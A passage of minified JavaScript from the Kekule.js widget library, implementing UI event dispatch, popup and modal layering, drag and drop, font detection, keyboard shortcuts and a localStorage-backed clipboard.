t=0,i=e.length;t<i;++t){var n=e[t];if("childList"===n.type){for(var s=0,r=(a=n.addedNodes).length;s<r;++s){(o=a[s]).nodeType===Node.ELEMENT_NODE&&(this._isGlobalSysElement(o)||this._handleDomAddedElem(o))}var a;for(s=0,r=(a=n.removedNodes).length;s<r;++s){var o;(o=a[s]).nodeType===Node.ELEMENT_NODE&&(this._isGlobalSysElement(o)||this._handleDomRemovedElem(o))}}}},reactUiEvent:function(e){this.tryApplySuper("reactUiEvent",[e]);var t,i=e.getType();if(this.getMouseCaptureWidget()&&(this.isMouseEvent(i)||this.isTouchEvent(i)||this.isPointerEvent(i)))t=this.getMouseCaptureWidget(),!0;else{var n=e.getTarget();!(t=this.getBelongedResponsiveWidget(n))&&this.isKeyEvent(i)&&(t=this.getCurrFocusedWidget()||null)}if("touchstart"===i)this._touchEventSeq=["touchstart"],this._touchDoneTimeStamp=null;else if("touchcancel"===i)this._touchEventSeq=[];else if("touchend"===i)"touchstart"===this._touchEventSeq[0]&&(this._touchEventSeq.push("touchend"),this._touchDoneTimeStamp=Date.now());else if(["mousedown","mouseup","mouseover","mouseout","click"].indexOf(i)>=0)if("touchstart"===this._touchEventSeq[0]&&"touchend"===this._touchEventSeq[1])e.ghostMouseEvent=!0,"click"===i&&(this._touchEventSeq=[],this._touchDoneTimeStamp=Date.now());else if(this._touchDoneTimeStamp){Date.now()-this._touchDoneTimeStamp<1e3&&(e.ghostMouseEvent=!0)}if(this.getHtmlEventDispatcher().dispatch(e),this.doReactUiEvent(e,t),!e.ghostMouseEvent&&!Kekule.BrowserFeature.pointerEvent&&this.getEnableMouseEventToPointerPolyfill()){var s=["mousedown","mousemove","mouseout","mouseover","mouseup"].indexOf(i);if(s>=0)e.setType(["pointerdown","pointermove","pointerout","pointerover","pointerup"][s]),e.pointerType="mouse",this.doReactUiEvent(e,t);else if(["touchstart","touchmove","touchleave","touchend","touchcancel"].indexOf(i)>=0){var r=this.mapTouchToPointerEvent(e);r&&this.reactUiEvent(r)}}},doReactUiEvent:function(e,t){var i=Kekule.Widget.getEventHandleFuncName(e.getType());this[i]&&this[i](e),t&&(this._htmlEventOnWidgetInvoked(t,e),t.reactUiEvent(e))},reactTouchGesture:function(e){var t=Kekule.Widget.getTouchGestureHandleFuncName(e.getType&&e.getType()||e.type);this[t]&&this[t](e);var i=Kekule.Widget.getBelongedWidget(e.target);i&&i.reactTouchGesture(e)},reactWindowResize:function(e){for(var t=this.getAutoResizeWidgets(),i=0,n=t.length;i<n;++i)t[i].isShown()&&t[i].autoResizeToClient()},_htmlEventOnWidgetInvoked:function(e,t){this.invokeEvent("htmlEventOnWidget",{widget:e,htmlEvent:t}),this.invokeEvent(t.getType(),{widget:e,htmlEvent:t})},_startPointerHolderTimer:function(e){var t=this;return this._pointerHolderTimer={pointerType:e.pointerType,button:e.getButton(),coord:{x:e.getClientX(),y:e.getClientY()},target:e.getTarget(),_timeoutId:setTimeout(function(){var i=e;i.setType("pointerhold"),t._pointerHolderTimer=null,t.reactUiEvent(i)},Kekule.Widget._PointerHoldParams.DURATION_THRESHOLD),cancel:function(){clearTimeout(t._pointerHolderTimer._timeoutId),t._pointerHolderTimer=null}},this._pointerHolderTimer},react_pointerdown:function(e){if(this.hasPopupWidgets()&&!e.ghostMouseEvent&&e.getButton()===Kekule.X.Event.MouseButton.LEFT){var t=e.getTarget();this.hidePopupWidgets(t)}this._pointerHolderTimer?e.pointerType===this._pointerHolderTimer.pointerType&&e.getButton()===this._pointerHolderTimer.button||this._pointerHolderTimer.cancel():this._startPointerHolderTimer(e)},react_pointerup:function(e){this._pointerHolderTimer&&this._pointerHolderTimer.cancel()},react_pointermove:function(e){if(this._pointerHolderTimer)if(e.getTarget()!==this._pointerHolderTimer.target)this._pointerHolderTimer.cancel();else{var t=this._pointerHolderTimer.coord,i={x:e.getClientX(),y:e.getClientY()};Kekule.CoordUtils.getDistance(t,i)>Kekule.Widget._PointerHoldParams.MOVEMENT_THRESHOLD&&this._pointerHolderTimer.cancel()}},react_keydown:function(e){e.getKeyCode()===Kekule.X.Event.KeyCode.ESC&&(this.hasPopupWidgets()?this.hidePopupWidgets(null,!0):this.hasDialogWidgets()&&this.hideTopmostDialogWidget(null,!0))},react_touchstart:function(e){if(this.hasPopupWidgets()){var t=e.getTarget();this.hidePopupWidgets(t)}},react_dragstart:function(e){this._clearDraggingElems();var t=e.getTarget();if(t&&e.dataTransfer){var i=this._appendDraggingElem(t);if(e.dataTransfer.setData)try{e.dataTransfer.setData(Kekule.Widget.DragDrop.ELEM_INDEX_DATA_TYPE,""+i)}catch(e){}var n=Kekule.Widget.getBelongedWidget(t);n&&n.dragStart({htmlEvent:e,dataTransfer:e.dataTransfer,startingElem:t})}},react_dragend:function(e){var t=e.getTarget();if(t){var i=Kekule.Widget.getBelongedWidget(t);i&&i.dragEnd({htmlEvent:e,dataTransfer:e.dataTransfer,startingElem:t})}this._dragDone(e)},react_dragover:function(e){var t=e.getTarget(),i=this._getNearestDragDropDestWidget(Kekule.Widget.getBelongedWidget(t));if(i&&i.getDroppable()&&e.dataTransfer){var n=this._getElemAndWidgetInDraggingTransfer(e.dataTransfer),s={htmlEvent:e,dataTransfer:e.dataTransfer,srcElem:n.elem,srcWidget:n.widget};i.acceptDragSrc(s)&&(e.preventDefault(),i.dragOver(s))}},react_dragleave:function(e){var t=e.getTarget(),i=this._getNearestDragDropDestWidget(Kekule.Widget.getBelongedWidget(t));if(i&&i.getDroppable()&&e.dataTransfer){var n=this._getElemAndWidgetInDraggingTransfer(e.dataTransfer),s={htmlEvent:e,dataTransfer:e.dataTransfer,srcElem:n.elem,srcWidget:n.widget};i.acceptDragSrc(s)&&i.dragLeave(s)}},react_drop:function(e){var t=e.getTarget(),i=this._getNearestDragDropDestWidget(Kekule.Widget.getBelongedWidget(t));if(i&&i.getDroppable()){var n=this._getElemAndWidgetInDraggingTransfer(e.dataTransfer),s={htmlEvent:e,dataTransfer:e.dataTransfer,srcElem:n.elem,srcWidget:n.widget};i.acceptDragSrc(s)&&i.dragDrop(s)&&e.preventDefault()}this._dragDone(e)},_dragDone:function(e){this._clearDraggingElems();var t=e.dataTransfer;t&&(t.items?t.items.clear():t.clearData())},_getNearestDragDropDestWidget:function(e){if(!e)return null;if(e.getDroppable())return e;var t=e.getParent();return t&&this._getNearestDragDropDestWidget(t)},_getElemAndWidgetInDraggingTransfer:function(e){var t,i;if(e.getData){try{var n=e.getData(Kekule.Widget.DragDrop.ELEM_INDEX_DATA_TYPE);if(Kekule.ObjUtils.notUnset(n)){var s=parseInt(n)||0;t=this.getDraggingElems()[s]}}catch(e){var r=this.getDraggingElems();r&&1===r.length&&(t=r[0])}t&&(i=Kekule.Widget.getBelongedWidget(t))}return{elem:t,widget:i}},_clearDraggingElems:function(){this.setPropStoreFieldValue("draggingElems",[])},_appendDraggingElem:function(e){var t=this.getDraggingElems();return t.push(e),t.length-1},unpreparePopupWidget:function(e){e.setPopupCaller(null),this.restoreElem(e.getElement())},preparePopupWidget:function(e,t,i){e.setPopupCaller(t);var n,s,r=e.getElement(),a=r.ownerDocument,o=this.getContextRootElementOfCaller(t),l=this.getTopmostLayer(a,!0,o),u=r.parentNode===l,d=Kekule.Widget.ShowHideType,h=e.getAutoAdjustSizeOnPopup();if(i===d.DROPDOWN?(s=Kekule.StyleUtils.isSelfOrAncestorPositionFixed(t.getElement()),n=this._calcDropDownWidgetPosInfo(e,t,s)):n=this._calcPopupWidgetPosInfo(e,t,u),h&&n){var g=t||e,c=(a=g.getDocument?g.getDocument():g.ownerDocument,Kekule.DocumentUtils.getClientVisibleBox(a)),p=c.right-c.left,E=c.bottom-c.top,f=n.rect;f.left+f.width>p+c.left&&(n.width=c.right-f.left+"px",n.widthChanged=!0),f.top+f.height>E+c.top&&(n.height=c.bottom-f.top+"px",n.heightChanged=!0)}if(u?this.moveElemToTopmostLayer(r,!0,o):this.moveElemToTopmostLayer(r,null,o),n){var T=["left","top","right","bottom"];n.widthChanged&&T.push("width"),n.heightChanged&&T.push("height");var C={},m=r.style;i===d.DROPDOWN&&s?m.position="fixed":Kekule.StyleUtils.isAbsOrFixPositioned(r)||(m.position="absolute");for(var v=0,y=T.length;v<y;++v){var S=T[v],P=n[S];P&&(C[S]=m[S]||"",m[S]=P)}this._getElemStoredInfo(r).styles=C}},_calcPopupWidgetPosInfo:function(e,t,i){var n,s=Kekule.HtmlElementUtils,r=e.getElement();e.isShown()||(r.style.visible="hidden",r.style.display="");var a,o=!1;if(!Kekule.DomUtils.isInDomTree(r,null,{acrossShadowRoot:!0})){var l=this.getContextRootElementOfCaller(t);(a=this.getIsolatedLayer(e.getDocument(),!0,l)).appendChild(r),o=!0}var u=s.getElemBoundingClientRect(r,!0);return n={rect:u},i||"fixed"!==Kekule.StyleUtils.getComputedStyle(r,"position")&&(n.top=u.top+"px",n.left=u.left+"px"),o&&a.removeChild(r),n},_calcDropDownWidgetPosInfo:function(e,t,i){var n=Kekule.HtmlElementUtils,s=Kekule.Widget.Position,r=t.getDropPosition?t.getDropPosition():null,a=t.getParent(),o=a&&a.getLayout()||Kekule.Widget.Layout.HORIZONTAL,l=t.getElement(),u=this.getContextRootElementOfCaller(t),d=n.getElemBoundingClientRect(l,!0),h=Kekule.DocumentUtils.getClientVisibleBox(t.getDocument()),g=e.getElement();g.style.visible="hidden",g.style.display="";var c=this.getIsolatedLayer(g.ownerDocument,!0,u);c.appendChild(g),g.style.position="relative";var p=n.getElemOffsetDimension(g),E=n.getElemScrollDimension(g),f=n.getElemPageRect(g,!0);if(g.style.position="absolute",c.removeChild(g),!r||r===s.AUTO)if(r=0,o===Kekule.Widget.Layout.VERTICAL){var T=d.x-h.left,C=h.right-d.x-d.width;C>=p.width?r|=s.RIGHT:r|=T>C?s.LEFT:s.RIGHT}else{var m=d.y-h.top,v=h.bottom-d.y-d.height;v>=p.height?r|=s.BOTTOM:r|=m>v?s.TOP:s.BOTTOM}Kekule.StyleUtils,d=n.getElemBoundingClientRect(l,!i);var y,S,P=E.width,_=E.height;if(r&s.LEFT)y=d.left-f.width;else if(r&s.RIGHT)y=d.right;else{var A=d.right-h.left;y=h.right-d.left>=f.width?d.left:A>=f.width?d.right-f.width:Math.max(h.left,h.right-f.width)}if(r&s.TOP)S=d.top-f.height;else if(r&s.BOTTOM)S=d.bottom;else{var D=d.bottom-h.top;S=h.bottom-d.top>=f.height?d.bottom:D>=f.height?d.bottom-f.height:Math.max(h.top,h.bottom-f.height)}var O={};return O.rect={left:y,top:S,width:P,height:_},y+="px",S+="px",P+="px",_+="px",O.left=y,O.top=S,O.width=P,O.height=_,O},_fillPersistentPopupWidgetsInHidden:function(e,t,i,n){var s,r,a;n.push(e);try{e&&e instanceof Kekule.Widget.BaseWidget?(s=e.getElement(),r=e.getParent(),a=e.getPopupCaller()):s=e instanceof HTMLElement?e:null}catch(e){s=null}if(s){for(var o=0,l=t.length;o<l;++o){var u=t[o];if(u===e)i.push(u);else{var d=u.getElement();Kekule.DomUtils.isDescendantOf(s,d)&&i.push(u)}}r&&n.indexOf(r)<=0&&this._fillPersistentPopupWidgetsInHidden(r,t,i,n),a&&n.indexOf(a)<=0&&this._fillPersistentPopupWidgetsInHidden(a,t,i,n)}},hidePopupWidgets:function(e,t){var i=this.getPopupWidgets(),n=Kekule.Widget.getBelongedWidget(e),s=[];n&&this._fillPersistentPopupWidgetsInHidden(n,i,s,[]);for(var r=i.length-1;r>=0;--r){var a=i[r],o=a.getElement();if(o){if(s.indexOf(a)>=0)continue;e&&(o===e||Kekule.DomUtils.isDescendantOf(e,o))||(t?a.dismiss():a.hide())}else Kekule.ArrayUtils.remove(this.getPopupWidgets(),a)}},hideTopmostDialogWidget:function(e,t){var i=this.getDialogWidgets()||[],n=i[i.length-1];n&&(n.getElement()?t?n.dismiss():n.hide():Kekule.ArrayUtils.remove(this.geDialogWidgets(),n))},registerPopupWidget:function(e){e.addClassName(i.SHOW_POPUP),Kekule.ArrayUtils.pushUnique(this.getPopupWidgets(),e)},unregisterPopupWidget:function(e){e.removeClassName(i.SHOW_POPUP),Kekule.ArrayUtils.remove(this.getPopupWidgets(),e)},registerDialogWidget:function(e){e.addClassName(i.SHOW_DIALOG),Kekule.ArrayUtils.pushUnique(this.getDialogWidgets(),e)},unregisterDialogWidget:function(e){e.removeClassName(i.SHOW_DIALOG),Kekule.ArrayUtils.remove(this.getDialogWidgets(),e)},registerModalWidget:function(e){var t=this.getCurrModalWidget();t&&t.removeClassName(i.SHOW_ACTIVE_MODAL),Kekule.ArrayUtils.pushUnique(this.getModalWidgets(),e),e.addClassName(i.SHOW_ACTIVE_MODAL)},unregisterModalWidget:function(e){e.removeClassName(i.SHOW_ACTIVE_MODAL),Kekule.ArrayUtils.remove(this.getModalWidgets(),e);var t=this.getCurrModalWidget();t&&t.addClassName(i.SHOW_ACTIVE_MODAL)},getCurrModalWidget:function(){var e=this.getModalWidgets();return e&&e.length?e[0]:null},prepareModalWidget:function(e,t){var n=e.getDocument(),s=this.getModalBackgroundElem();s||((s=n.createElement("div")).className=i.MODAL_BACKGROUND,this.setPropStoreFieldValue("modalBackgroundElem",s),this._globalSysElems.push(s));var r=e.getElement();e.setModalInfo({oldParent:r.parentNode,oldSibling:r.nextSibling}),r.parentNode&&r.parentNode.removeChild(r),s.parentNode&&s.parentNode.removeChild(s);var a=this.getContextRootElementOfCaller(t),o=this.getTopmostLayer(n,!1,a);o&&o.parentNode===a?(a.insertBefore(s,o),a.insertBefore(r,o)):(a.appendChild(s),a.appendChild(r)),this.registerModalWidget(e)},unprepareModalWidget:function(e){e.getDocument();this.unregisterModalWidget(e);var t=e.getElement().parentNode;t&&t.removeChild(e.getElement());var i=e.getModalInfo();i&&(i.oldParent&&i.oldParent.insertBefore(e.getElement(),i.oldSibling),e.setModalInfo(null));var n=this.getCurrModalWidget(),s=this.getModalBackgroundElem();s&&(n?(s.parentNode&&s.parentNode.removeChild(s),n.getElement().parentNode.insertBefore(s,n.getElement())):s.parentNode&&s.parentNode.removeChild(s))},registerAutoResizeWidget:function(e){Kekule.ArrayUtils.pushUnique(this.getAutoResizeWidgets(),e)},unregisterAutoResizeWidget:function(e){Kekule.ArrayUtils.remove(this.getAutoResizeWidgets(),e)},getWidgetContextRootElement:function(e){return e&&e.getDocument?e.getDocument().body:this._document.body},getContextRootElementOfCaller:function(e){return e instanceof Kekule.Widget.BaseWidget?this.getWidgetContextRootElement(e):e.ownerDocument?e.ownerDocument.body:this._document.body},getTopmostLayer:function(e,t,i){e=i.ownerDocument;var n=i[this.TOPMOST_LAYER_FIELD];return n||t&&(n=this._createTopmostLayer(e,i),i.appendChild(n),i[this.TOPMOST_LAYER_FIELD]=n,this._globalSysElems.push(n)),n},_createTopmostLayer:function(e,t){var n=e.createElement("div");return n.className=i.TOP_LAYER,n},getIsolatedLayer:function(e,t,i){var n=i[this.ISOLATED_LAYER_FIELD];if(!n&&t){n=this._createIsolatedLayer(e,i),this._globalSysElems.push(n);var s=i.firstChild;s?i.insertBefore(n,s):i.appendChild(n),i[this.ISOLATED_LAYER_FIELD]=n}return n},_createIsolatedLayer:function(e,t){var n=e.createElement("div");return n.className=i.ISOLATED_LAYER,n},_isGlobalSysElement:function(e){return this._globalSysElems.indexOf(e)>=0},_getElemStoredInfo:function(e){var t=null;return e&&((t=e[this.INFO_FIELD])||(t={},e[this.INFO_FIELD]=t)),t},_clearElemStoredInfo:function(e){e[this.INFO_FIELD]&&(e[this.INFO_FIELD]=void 0)},moveElemToTopmostLayer:function(e,t,i){if(!t){var n=this._getElemStoredInfo(e);n.parentElem=e.parentNode,n.nextSibling=e.nextSibling}this.getTopmostLayer(e.ownerDocument,!0,i).appendChild(e)},restoreElem:function(e){if(e){var t=this._getElemStoredInfo(e);if(t){for(var i=t.styles,n=Kekule.ObjUtils.getOwnedFieldNames(i),s=e.style,r=0,a=n.length;r<a;++r){var o=n[r],l=i[o];l?s[o]=l:Kekule.StyleUtils.removeStyleProperty(s,o)}t.parentElem&&(t.nextSibling?t.parentElem.insertBefore(e,t.nextSibling):t.parentElem.appendChild(e)),e[this.INFO_FIELD]=null}}}}),Kekule.ClassUtils.makeSingleton(Kekule.Widget.GlobalManager),Kekule.Widget.globalManager=Kekule.Widget.GlobalManager.getInstance()}(),function(){"use strict";var e,t=function(){var e=["monospace","sans-serif","serif"],t=document.getElementsByTagName("body")[0],i=document.createElement("span");i.style.fontSize="72px",i.innerHTML="mmmmmmmmmmlli";var n={},s={};for(var r in e)i.style.fontFamily=e[r],t.appendChild(i),n[e[r]]=i.offsetWidth,s[e[r]]=i.offsetHeight,t.removeChild(i);this.detect=function(r){var a=!1;for(var o in e){i.style.fontFamily=r+","+e[o],t.appendChild(i);var l=i.offsetWidth!=n[e[o]]||i.offsetHeight!=s[e[o]];t.removeChild(i),a=a||l}return a}};Kekule.Widget.FontDetector={detect:function(i){var n=e;return n||(n=new t,e=n),n.detect(i)}};var i=["Arial, Helvetica, sans-serif","Georgia, Times New Roman, Times, serif","Courier New, Courier, monospace","Tahoma, Geneva, sans-serif","Trebuchet MS, Arial, Helvetica, sans-serif","Arial Black, Gadget, sans-serif","Palatino Linotype, Book Antiqua, Palatino, serif","Lucida Sans Unicode, Lucida Grande, sans-serif","MS Serif, New York, serif","Lucida Console, Monaco, monospace","Comic Sans MS, cursive"];Kekule.Widget.FontEnumerator={getAvailableFontFamilies:function(e){e||(e=i);for(var t=[],n=0,s=e.length;n<s;++n){var r=e[n];Kekule.Widget.FontDetector.detect(r)&&t.push(r)}return t}}}(),function(){"use strict";var e=Kekule.ObjUtils;Kekule.globalOptions.add("widget.shortcut",{enabled:!0}),Kekule.Widget.KeyboardUtils={DEF_COMBINATION_KEY_DELIMITER:"+",_initShiftKeyMap:function(){for(var e=[["`","~"],["1","!"],["2","@"],["3","#"],["4","$"],["5","%"],["6","^"],["7","&"],["8","*"],["9","("],["0",")"],["-","_"],["=","+"],["[","{"],["]","}"],[";",":"],["'",'"'],["\\","|"],[",","<"],[".",">"],["/","?"]],t={},i=0,n=e.length;i<n;++i)t[e[i][0]]=e[i][1],t[e[i][1]]=e[i][0];return t},isPrintableKey:function(e){return!!e&&e.length<=1},getShiftedKey:function(e){if(e&&e.length<=1){var t=e.charAt(0);return t>="a"&&t<="z"?t.toUpperCase():t>="A"&&t<="Z"?t.toLowerCase():Kekule.Widget.KeyboardUtils._shiftKeyMap[t]||t}return e},shortcutLabelToKeyParams:function(e,t,i){for(var n,s,r=t?[t]:["+","-","_"],a=-1,o=0,l=r.length;o<l;++o){var u=r[o],d=e.split(u);d.length>a&&(n=u,a=d.length,s=d)}var h={};if(a<=0)h.key=n;else for(o=0,l=s.length;o<l;++o){var g=s[o];g||o!==l-1||(g=n);var c=g.toLowerCase();"shift"===c?h.shiftKey=!0:"alt"===c?h.altKey=!0:"ctrl"===c||"control"===c?h.ctrlKey=!0:"meta"===c?h.metaKey=!0:h.key="esc"===c?"Escape":"del"===c?"Delete":"ins"===c?"Insert":"pgup"===c?"PageUp":"pgdown"===c||"pgdn"===c?"PageDown":"space"===c?" ":g,h.key||o!==l-1||(h.key="ctrl"===c?"Control":g)}return!i&&h.key&&(h.key=h.key.charAt(0).toUpperCase()+h.key.substr(1)),h},keyParamsToShortcutLabel:function(e,t,i){t||(t=Kekule.Widget.KeyboardUtils.DEF_COMBINATION_KEY_DELIMITER);var n=[];e.ctrlKey&&n.push("Ctrl"),e.altKey&&n.push("Alt"),e.metaKey&&n.push("Meta"),e.shiftKey&&n.push("Shift");var s=e.key;if(s){"Escape"===s?s="Esc":"Insert"===s?s="Ins":"Delete"===s?s="Del":"Control"===s?s="Ctrl":" "===s&&(s="Space"),i||(s=s.charAt(0).toUpperCase()+s.substr(1));var r=n.indexOf(s);r>=0&&n.splice(r,1),n.push(s)}return n.join(t)},_standardizeEventKeyValue:function(e){return"Esc"===e?"Escape":"Del"===e?"Delete":"Spacebar"===e?" ":"Left"===e?"ArrowLeft":"Right"===e?"ArrowRight":"Up"===e?"ArrowUp":"Down"===e?"ArrowDown":"OS"===e?"Meta":"Scroll"===e?"ScrollLock":"Apps"===e?"ContextMenu":"Crsel"===e?"CrSel":"Exsel"===e?"ExSel":e},getKeyParamsFromEvent:function(e){return{altKey:e.getAltKey(),ctrlKey:e.getCtrlKey(),shiftKey:e.getShiftKey(),metaKey:e.getMetaKey(),key:Kekule.Widget.KeyboardUtils._standardizeEventKeyValue(e.getKey()),code:e.getCode(),repeat:e.getRepeat()}},matchKeyParams:function(e,t,i){var n,s,r,a=function(e,t){return null===t||!t==!e};return a(e.altKey,t.altKey)&&a(e.ctrlKey,t.ctrlKey)&&a(e.shiftKey,t.shiftKey)&&a(e.metaKey,t.metaKey)&&(!t.key||(n=e.key,s=t.key,r=Kekule.Widget.KeyboardUtils._standardizeEventKeyValue,i?r(s)===r(n):r(s)===r(n)||r(n)===Kekule.Widget.KeyboardUtils.getShiftedKey(s)))&&(!t.code||t.code===e.code)&&a(e.repeat,t.repeat)}},Kekule.Widget.KeyboardUtils._shiftKeyMap=Kekule.Widget.KeyboardUtils._initShiftKeyMap(),Kekule.Widget.HtmlKeyEventMatcher=Class.create(Kekule.Widget.HtmlEventMatcher,{CLASS_NAME:"Kekule.Widget.HtmlKeyEventMatcher",initialize:function(e){var t=Object.extend({strictMatch:!0},e);this.tryApplySuper("initialize",[t])},initProperties:function(){for(var e=Kekule.Widget.HtmlKeyEventMatcher.KEY_PARAM_PROPS,t=0,i=e.length;t<i;++t){var n="key"===e[t]||"code"===e[t]?DataType.STRING:DataType.BOOL;this._defineEventParamProp(e[t],n)}},match:function(e){var t=this.tryApplySuper("match",[e]);return t&&(t=this._matchKeyEvent(e,this.getEventParams())),t},_isKeyIgnored:function(e){return null===e},_matchKeyEvent:function(t,i){var n=this._isKeyIgnored;return(n(i.altKey)||!!t.getAltKey()==!!i.altKey)&&(n(i.ctrlKey)||!!t.getCtrlKey()==!!i.ctrlKey)&&(n(i.shiftKey)||!!t.getShiftKey()==!!i.shiftKey)&&(n(i.metaKey)||!!t.getMetaKey()==!!i.metaKey)&&(!i.key||this._matchKey(t,i.key))&&(!i.code||t.getCode()===i.code)&&(e.isUnset(i.repeat)||!!t.getRepeat()==!!i.repeat)},_matchKey:function(e,t){var i=Kekule.Widget.KeyboardUtils._standardizeEventKeyValue,n=e.getKey();return this.getStrictMatch()?i(n)===i(t):i(n)===i(t)||n===Kekule.Widget.KeyboardUtils.getShiftedKey(t)}}),Kekule.Widget.HtmlKeyEventMatcher.KEY_PARAM_PROPS=["key","code","shiftKey","ctrlKey","altKey","metaKey","repeat","strictMatch"],Kekule.Widget.Shortcut=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.Shortcut",initialize:function(e,t){var i=new Kekule.Widget.HtmlEventResponser(new Kekule.Widget.HtmlKeyEventMatcher({eventType:this._getKeyEventType(),strictMatch:!1}),this);this.setPropStoreFieldValue("eventResponser",i),Kekule.ObjUtils.notUnset(t)?i.setExclusive(t):i.setExclusive(!0),e&&this.setPropStoreFieldValue("execTarget",e),this.tryApplySuper("initialize",[]),this._registeredDocs=[]},initProperties:function(){this.defineProp("strictMatch",{dataType:DataType.BOOL,getter:function(){return this.getEventResponser().getEventMatcher().getStrictMatch()},setter:function(e){this.getEventResponser().getEventMatcher().setStrictMatch(e)}}),this.defineProp("exclusive",{dataType:DataType.BOOL,getter:function(){return this.getEventResponser().getEventMatcher().getExclusive()},setter:function(e){this.getEventResponser().getEventMatcher().setExclusive(e)}}),this.defineProp("key",{dataType:DataType.STRING,getter:function(){var e=this.getEventResponser().getEventParams();return Kekule.Widget.KeyboardUtils.keyParamsToShortcutLabel(e,null,this.getStrictMatch())},setter:function(e){if(e!==this.getKey())for(var t=Kekule.Widget.KeyboardUtils.shortcutLabelToKeyParams(e,null,this.getStrictMatch()),i=this.getEventResponser().getEventParams(),n=Kekule.Widget.HtmlKeyEventMatcher.KEY_PARAM_PROPS,s=Kekule.ObjUtils.notUnset,r=0,a=n.length;r<a;++r){var o=n[r];s(t[o])&&(i[o]=t[o])}}}),this.defineProp("execTarget",{dataType:DataType.VARIANT,serializable:!1,setter:null}),this.defineProp("targetWidget",{dataType:"Kekule.Widget.BaseWidget",setter:null,serializable:!1,getter:function(){var e=this.getExecTarget();return e&&e instanceof Kekule.Widget.BaseWidget?e:null}}),this._defineEventResponserRelatedProp("eventParams",DataType.HASH),this.defineProp("eventResponser",{dataType:"Kekule.Widget.HtmlEventResponser",serializable:!1,setter:null})},doFinalize:function(){this.unregisterFromAll();var e=this.getEventResponser();this.setPropStoreFieldValue("eventResponser",null),e.finalize(),this.tryApplySuper("doFinalize")},_defineEventResponserRelatedProp:function(e,t,i){var n=e||i;return this.defineProp(e,{dataType:t,serializable:!1,getter:function(){return this.getEventResponser().getPropValue(n)},setter:function(e){this.getEventResponser().setPropValue(n,e)}})},_getKeyEventType:function(){return"keydown"},execute:function(e){if(Kekule.globalOptions.widget.shortcut.enabled){var t=this.getExecTarget();return t&&this.doExecTarget(e,t),this.invokeEvent({htmlEvent:e,execTarget:t}),!0}return!1},doExecTarget:function(e,t){var i=!0;return DataType.isFunctionValue(t)?t.apply(null,[e,this]):t.execute&&DataType.isFunctionValue(t.execute)?DataType.isObjectExValue(t)?t instanceof Kekule.Widget.BaseWidget?t.execute(e):t instanceof Kekule.Action?t.execute(this,e):t.execute(e,this):t.execute(e,this):i=!1,i},registerToGlobal:function(e){var t=e||Kekule.$document;t&&this._registeredDocs.indexOf(t)<0&&(Kekule.Widget.Utils.getGlobalManager(t).registerHtmlEventResponser(this.getEventResponser()),Kekule.ArrayUtils.pushUnique(this._registeredDocs,t))},unregisterFromGlobal:function(e){var t=e||Kekule.$document;t&&this._registeredDocs.indexOf(t)>=0&&(Kekule.Widget.Utils.getGlobalManager(t).unregisterHtmlEventResponser(this.getEventResponser()),Kekule.ArrayUtils.remove(this._registeredDocs,t))},unregisterFromAll:function(){for(var e=this._registeredDocs,t=0,i=e.length;t<i;++t)this.unregisterFromGlobal(e[t])}})}(),function(){"use strict";Kekule.Widget.Clipboard=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.Clipboard",STORAGE_KEY:"__$kekule_widget_clipboard__",initialize:function(){if(this.tryApplySuper("initialize"),this._data=new Kekule.MapEx(!0),Kekule.BrowserFeature.localStorage){this._crossPageStorage=window.localStorage,this.setEnableCrossPageClipboard(!0);var e=this;Kekule.X.Event.addListener(window,"storage",function(t){if(e.getEnableCrossPageClipboard()){var i=t.key,n=e._extractSessionDataType(i);n&&e.invokeEvent("setData",{dataType:n,data:e.deserializeData(t.newValue)})}})}},finalize:function(){this._data.finalize(),this.tryApplySuper("finalize")},initProperties:function(){this.defineProp("enableCrossPageClipboard",{dataType:DataType.BOOL})},_useSessionClipboard:function(){return this.getEnableCrossPageClipboard()&&Kekule.BrowserFeature.localStorage},_extractSessionDataType:function(e){return e.startsWith(this.STORAGE_KEY)?e.substr(this.STORAGE_KEY.length):null},serializeData:function(e){var t;if(DataType.isSimpleValue(e))t=JSON.stringify(e);else{var i={};Class.ObjSerializerFactory.getSerializer("json").save(e,i),t=JSON.stringify(i)}return t},deserializeData:function(e){var t=JSON.parse(e);return DataType.isSimpleValue(t)?t:Class.ObjSerializerFactory.getSerializer("json").load(null,t)},setData:function(e,t){if(this._useSessionClipboard()){var i,n=this.serializeData(t);try{this._crossPageStorage.setItem(this.STORAGE_KEY+e,n),i=!0}catch(e){Kekule.warn(e)}i||this._data.set(e,t)}else this._data.set(e,t);return this.invokeEvent("setData",{dataType:e,data:t}),this},getData:function(e){if(this._useSessionClipboard()){var t,i;try{t=this._crossPageStorage.getItem(this.STORAGE_KEY+e),i=!0}catch(e){Kekule.warn(e)}if(i)return t?this.deserializeData(t):null}return this._data.get(e)},hasData:function(e){if(this._useSessionClipboard()){var t,i;try{t=this._crossPageStorage.getItem(this.STORAGE_KEY+e),i=!0}catch(e){Kekule.warn(e)}if(i)return Kekule.ObjUtils.notUnset(t)}return Kekule.ObjUtils.notUnset(this._data.get(e))},clearData:function(){if(this._useSessionClipboard())for(var e=this.getTypes(),t=0,i=e.length;t<i;++t)this._crossPageStorage.removeItem(this.STORAGE_KEY+e[t]);else this._data.clear();return this.invokeEvent("setData",{dataType:null,data:null}),this},getTypes:function(){if(this._useSessionClipboard()){for(var e=[],t=0,i=this._crossPageStorage.length;t<i;++t){var n=this._crossPageStorage.key(t),s=this._extractSessionDataType(n);s&&e.push(s)}return e}return this._data.getKeys()},setObjects:function(e,t){for(var i=[],n=Class.ObjSerializerFactory.getSerializer("json"),s=0,r=t.length;s<r;++s){var a=t[s],o={};n.save(a,o),i.push(o)}var l=JSON.stringify(i);return this.setData(e,l)},getObjects:function(e){var t=this.getData(e);if(DataType.isSimpleValue(t)){var i=JSON.parse(t);DataType.isArrayValue(i)||(i=[i]);for(var n=[],s=Class.ObjSerializerFactory.getSerializer("json"),r=0,a=i.length;r<a;++r){var o=i[r],l=s.load(null,o);n.push(l)}return n}return 